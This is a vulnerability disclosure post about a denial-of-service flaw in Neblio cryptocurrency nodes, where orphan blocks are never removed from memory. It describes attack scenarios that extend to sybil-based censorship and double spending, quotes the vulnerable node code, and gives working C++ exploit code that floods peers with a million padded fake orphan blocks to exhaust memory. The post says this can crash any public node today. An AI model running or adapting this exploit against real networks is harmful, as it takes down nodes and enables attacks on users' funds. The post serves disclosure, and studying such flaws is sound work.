Welcome again. This is probably the last time we write about Neblio. We could create new and new reports because its code is incredibly buggy, but it makes no sense given the attitude of the Neblio development team. So, just to prove the point, here is another vulnerability that anyone can use to crash any public Neblio node today.

mapOrphanBlocks Attack

Bug type: DoS

Bug severity: 6/10

Scenario 1

Attacker cost: very low

In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on a publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to restart their nodes.

Scenario 2

Attacker cost: medium

In this scenario, the attacker buys a nontrivial amount of coins and they also perform a sybil attack against the network – this means they create a large number of fully operational public nodes. Then they will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create a longest chain with just fractional stake, compared to the original staking power of the network. With just a fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending. Also in this case, non-public nodes will be connected to attacker's nodes, so it is possible here to crash them as well. This means that here we are not assuming the target nodes to be public.

Description:

This attack vector exists simply because someone thought that in 2017, when the Neblio project was born, it was a good idea to base a new coin on Novacoin, the coin that failed many years before and received very little development since. This also means that many of the vulnerabilities that have been fixed in almost every other similar coin have not been fixed in Novacoin and thus we can exploit them today in Neblio. This is one of them.

When a node receives a block message from its peer, it first executes a few validation rules using CheckBlock method and then it checks whether it is aware of the previous block on the top of which the new block is created – i.e. whether node's mapBlockIndex collection contains entry for hashPrevBlock value of the new block. If not, it's an orphan block, which is handled as follows:

// If don't already have its previous block, shunt it off to holding area until we get it

if (!mapBlockIndex.count(pblock->hashPrevBlock)) {

printf("ProcessBlock: ORPHAN BLOCK, prev=%s

", pblock->hashPrevBlock.ToString().c_str());

// ppcoin: check proof-of-stake

if (pblock->IsProofOfStake()) {

// Limited duplicity on stake: prevents block flood attack

// Duplicate stake allowed only when there is orphan child block

if (setStakeSeenOrphan.count(pblock->GetProofOfStake()) &&

!mapOrphanBlocksByPrev.count(hash) && !Checkpoints::WantedByPendingSyncCheckpoint(hash))

return error("ProcessBlock() : duplicate proof-of-stake (%s, %d) for orphan block %s",

pblock->GetProofOfStake().first.ToString().c_str(),

pblock->GetProofOfStake().second, hash.ToString().c_str());

else

setStakeSeenOrphan.insert(pblock->GetProofOfStake());

}

CBlock* pblock2 = new CBlock(*pblock);

mapOrphanBlocks.insert(make_pair(hash, pblock2));

mapOrphanBlocksByPrev.insert(make_pair(pblock2->hashPrevBlock, pblock2));



// Ask this guy to fill in what we're missing

if (pfrom) {

pfrom->PushGetBlocks(boost::atomic_load(&pindexBest).get(), GetOrphanRoot(pblock2));

// ppcoin: getblocks may not obtain the ancestor block rejected

// earlier by duplicate-stake check so we ask for it again directly

if (!IsInitialBlockDownload())

pfrom->AskFor(CInv(MSG_BLOCK, WantedByOrphan(pblock2)));

}

return true;

}

What happens here is that if the block's proof of stake value (a pair of coinstake transaction kernel hash and coinstake transaction time) is unique then the received block is inserted in mapOrphanBlocks. Some other structures are modified as well, but we focus on mapOrphanBlocks, which stores the whole block. After that the processing of the block successfully ends. Importantly, nowhere in the code items are removed from mapOrphanBlocks, except for a single case after a legitimate block was accepted and the map is searched for blocks that are built on the top of it.

It is thus trivial and cheap to crash the node using this. We only need to construct new blocks, which can be invalid, but must pass validation in CheckBlock, and the blocks must have different coinstake kernel hash and non-existing previous hash value in the header. We can do this without having any coins in our wallet.

In our exploit code the following replaces the original StakeMiner function:

void StakeMiner(CWallet* pwallet)

{

// Make this thread recognisable as the mining thread

RenameThread("neblio-miner");



MilliSleep(30000);



CBlockIndexSmartPtr pindexPrev = boost::atomic_load(&pindexBest);



for (int i = 0; i <= 1000000; i++) {

int64_t nFees;

boost::interprocess::unique_ptr<CBlock, GenericDeleter<CBlock>> pblock(CreateNewBlock(pwallet, true, &nFees, pindexPrev));



if (!pblock.get())

return;



if (pblock->SignBlockEx(*pindexPrev, *pwallet, nFees)) {

BOOST_FOREACH(CNode* pnode, vNodes) {

pnode->PushMessage("block", *pblock);

}



MilliSleep(200);

}

}

}

and here is the implementation of SignBlockEx:

bool CBlock::SignBlockEx(CBlockIndex& pindexPrev, CWallet& wallet, int64_t nFees)

{

CTransaction txCoinStake;

txCoinStake.nTime = pindexPrev.nTime - 1000;



CBlock block;

block.ReadFromDisk(pindexPrev.GetBlockHash());



uint256 hashTx = block.vtx[0].GetHash();



txCoinStake.vin.clear();

txCoinStake.vout.clear();



CScript scriptEmpty;

scriptEmpty.clear();

txCoinStake.vout.push_back(CTxOut(0, scriptEmpty));



static unsigned int counter = 1;

txCoinStake.vin.push_back(CTxIn(hashTx, counter++));



CScript scriptPubKeyOut;

CPubKey pubKey = wallet.GenerateNewKey();

CKey key;



wallet.GetKey(pubKey.GetID(), key);



scriptPubKeyOut << key.GetPubKey() << OP_CHECKSIG;

txCoinStake.vout.push_back(CTxOut(10000, scriptPubKeyOut));



for (int j = 0; j < 60000; j++) {

txCoinStake.vout.push_back(CTxOut(1, scriptEmpty));

}



vtx[0].nTime = nTime = txCoinStake.nTime;

vtx.insert(vtx.begin() + 1, txCoinStake);

hashMerkleRoot = BuildMerkleTree();



hashPrevBlock+=counter;



return key.Sign(GetHash(), vchBlockSig);

}

Notably, we insert 60000 extra outputs to the coinstake transaction just to make each block somewhat big, so that it consumes more memory than just an empty block.